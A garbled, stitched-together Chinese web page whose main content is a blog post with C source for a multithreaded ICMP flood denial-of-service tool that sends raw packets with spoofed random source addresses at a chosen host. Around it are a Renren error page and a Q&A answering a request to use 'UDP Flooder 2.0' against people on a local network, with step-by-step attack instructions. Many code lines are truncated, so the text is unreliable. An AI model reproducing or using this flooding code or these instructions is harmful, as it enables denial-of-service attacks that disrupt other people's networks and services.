udp flooderudp洪水攻击原理怎么攻击 最大影响多少 最大包调多少

人人网 - 抱歉
哦,抱歉,好像看不到了
现在你可以:
看看其它好友写了什么
北京千橡网景科技发展有限公司:
文网文[号··京公网安备号·甲测资字
文化部监督电子邮箱:wlwh@··
文明办网文明上网举报电话: 举报邮箱:&&&&&&&&&&&&博客访问: 1375871
博文数量: 323
博客积分: 7876
博客等级: 准将
技术积分: 5458
注册时间:
IT168企业级官微
微信号:IT168qiye
系统架构师大会
微信号:SACC2013
分类: LINUX
20LinuxICMP
Red Hat Enterprise Linux 5
FLOOD ATTACK
ICMPUDPSYN3
ICMPICMPIP
ICMP FloodpingpingICMP3
ICMPICMP ICMPIPICMP
由于系统的函数为伪随机函数
其与初始化有关,因此每次用不同值进行初始化
myrandom (int begin, int end)
int gap = end - begin +1;
int ret = 0;
/* 用系统时间初始化 */
srand((unsigned)time(0));
/* 产生一个介于begin和end之间的值 */
ret = random()%gap +
struct sockaddr_&
struct ip *&
struct icmp *&
int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;&
packet =(char *)malloc (pktsize);&
iph = (struct ip *)&
icmph = (struct icmp *) (packet + sizeof (struct ip));&
memset (packet, 0, pktsize);&
/* IP的版本,IPv4 */
iph->ip_v = 4;&
/* IP头部长度,字节数 */
iph->ip_hl = 5;&
/* 服务类型 */
iph->ip_tos = 0;&
/* IP报文的总长度 */
iph->ip_len = htons (pktsize);&
/* 标识,设置为PID */
iph->ip_id = htons (getpid ());&
/* 段的便宜地址 */
iph->ip_off = 0;
iph->ip_ttl = 0x0;&
/* 协议类型 */
iph->ip_p = PROTO_ICMP;&
/* 校验和,先填写为0 */
iph->ip_sum = 0;&
/* 发送的源地址 */
temp = myrandom(0, 65535);
iph->ip_src = *(struct in_addr *)&&&&&&
/* 发送目标地址 */
iph->ip_dst = *(struct in_addr*)&
//为什么这个输出会有差别,目的地址应该是一致的啊??
//printf("dst ip: %s\n",& inet_ntoa(*(struct in_addr*)&dest));
/* ICMP类型为回显请求 */
icmph->icmp_type = ICMP_ECHO; &
/* 代码为0 */
icmph->icmp_code = 0;&
/* 由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算 */
icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));&
/* 填写发送目的地址部分 */
to.sin_family =& AF_INET;&
to.sin_addr.s_addr =
to.sin_port = htons(0);
/* 发送数据 */
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));&
/* 释放内存 */
free (packet);
while(alive)
DoS_icmp();
//icmp();为什么有没有定义的函数而不报错啊?g++不报错 gcc报错
alive = 0;
struct hostent * host = NULL;
struct protoent *protocol = NULL;
char protoname[]= "icmp";
int i = 0;
pthread_t pthread[MAXCHILD];
int err = -1;
unsigned long&
alive = 1;
/* 截取信号CTRL+C */
signal(SIGINT, DoS_sig);
/* 参数是否数量正确 */
if(argc < 2)
printf("usage : \n");
return -1;
/* 获取协议类型ICMP */
protocol = getprotobyname(protoname);
if (protocol == NULL)
perror("getprotobyname()");
return -1;
PROTO_ICMP = protocol->p_
/* 输入的目的地址为字符串IP地址 */
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
/* 为DNS地址 */
host = gethostbyname(argv[1]);
if(host == NULL)
perror("gethostbyname");
return -1;
temp = inet_addr(host->h_addr);
/* 将地址拷贝到dest中 */
memcpy((char *)&dest, &temp, host->h_length);
printf("dst ip: %s\n", inet_ntoa(*(struct in_addr*)&dest));
/* 建立原始socket */
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);&&
if (rawsock < 0)&&& &&
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);&&
/* 设置IP选项 */
setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));
/* 建立多个线程协同工作 */
for(i=0; i<MAXCHILD; i++)
err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i);
/* 等待线程结束 */
for(i=0; i<MAXCHILD; i++)
pthread_join(pthread[i], NULL);
printf("over \n");
close(rawsock);
阅读(3617) | 评论(0) | 转发(8) |
相关热门文章
给主人留下些什么吧!~~
请登录后评论。问题:udp洪水ip测试工具udp flooder 20如何使用
问题描述:局域网又人滥用arp攻击软件,我想给他们点厉害。并非进行违法行为问题解答1:UDP &FLOODER的使用 1. 软件简介 不断地对目标主机进行UDP连接导致受攻击的机器访问速度变慢,带宽被大量占用。 2. 使用方法 A.先对软件进行注册,双击“注册软件.reg”。C.填写受攻击主机相关信息 & & & & & & 注意:1.选择端口只能选择udp端口。 在命令提示符下使用 netstat –an 命令可以查看主机全部开放的端口。 2.设置数据包内容有三种: a.使用在两个任意数之间大小的数据包; b.使用文本框内的文字; c.使用文件。 D.点击GO进行攻击
以上介绍了“udp洪水ip测试工具udp flooder 20如何使用”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:/wd/380625.html
上一篇: 下一篇:UDP洪水攻击器的原理?_百度知道关于阿拉丁UDP洪水攻击器的使用方法_百度知道

我要回帖

更多关于 udp flooder 2.0 的文章

 

随机推荐